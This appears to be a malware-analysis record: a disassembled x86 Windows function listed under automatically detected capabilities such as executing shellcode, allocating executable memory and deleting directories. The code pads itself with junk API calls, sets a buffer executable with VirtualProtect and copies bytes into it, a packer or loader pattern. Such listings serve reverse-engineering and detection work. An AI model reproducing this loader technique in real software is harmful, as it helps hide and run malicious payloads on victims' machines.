Function at 0x40620d
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
mov eax, 0x80ee74
call fcn.0080ed80
mov eax, 0x1068
call fcn.00415dd0
push ebx
push esi
xor esi, esi
cmp dword [0xc750d4], 0x5b1
push edi
jne 0x4062d1
push esi
lea eax, [ebp - 0x874]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
lea eax, [ebp - 0x54]
call fcn.004065be
push esi
mov dword [ebp - 4], esi
call fcn.00407f64
pop ecx
push esi
call fcn.00407341
pop ecx
push esi
push esi
push esi
push esi
call fcn.00407c08
add esp, 0x10
call fcn.004070f1
push 0x405a10
lea ecx, [ebp - 0x28]
call fcn.00405d80
lea ecx, [ebp - 0x28]
call fcn.00405d9c
push esi
call fcn.004077d1
pop ecx
push esi
call fcn.004077bb
pop ecx
push esi
push esi
call fcn.004072cd
pop ecx
pop ecx
push esi
call fcn.00408358
add dword [0xc750d4], 0x1134b
push dword [0xc750d4]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xc4e274], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x28]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x4062f2
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [0xc750d4]
push dword [0xc4e274]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x40634b
inc edi
cmp edi, 0x4f6a4
jl 0x406331
xor edi, edi
cmp dword [0xc750d4], esi
jbe 0x40639d
cmp dword [0xc750d4], 0xa8
mov eax, dword [0xc75b38]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xc4e274]
mov byte [ecx + edi], al
jne 0x406394
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x405a20
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc edi
cmp edi, dword [0xc750d4]
jb 0x406355
xor edi, edi
mov eax, dword [0xc750d4]
add eax, edi
cmp eax, 0xe
jne 0x4063e5
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x40639f
call fcn.004060ec
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x406402
call fcn.004061f3
inc edi
cmp edi, 0x6753f
jl 0x4063f5
push 0x7b
pop edi
cmp dword [0xc750d4], 0x86
jne 0x40646a
lea eax, [ebp - 0x70]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [ebp - 0xc74]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
push esi
push esi
lea eax, [ebp - 0x1074]
push eax
push esi
push 0x405a30
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec edi
jne 0x40640e
push 0x405a40
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret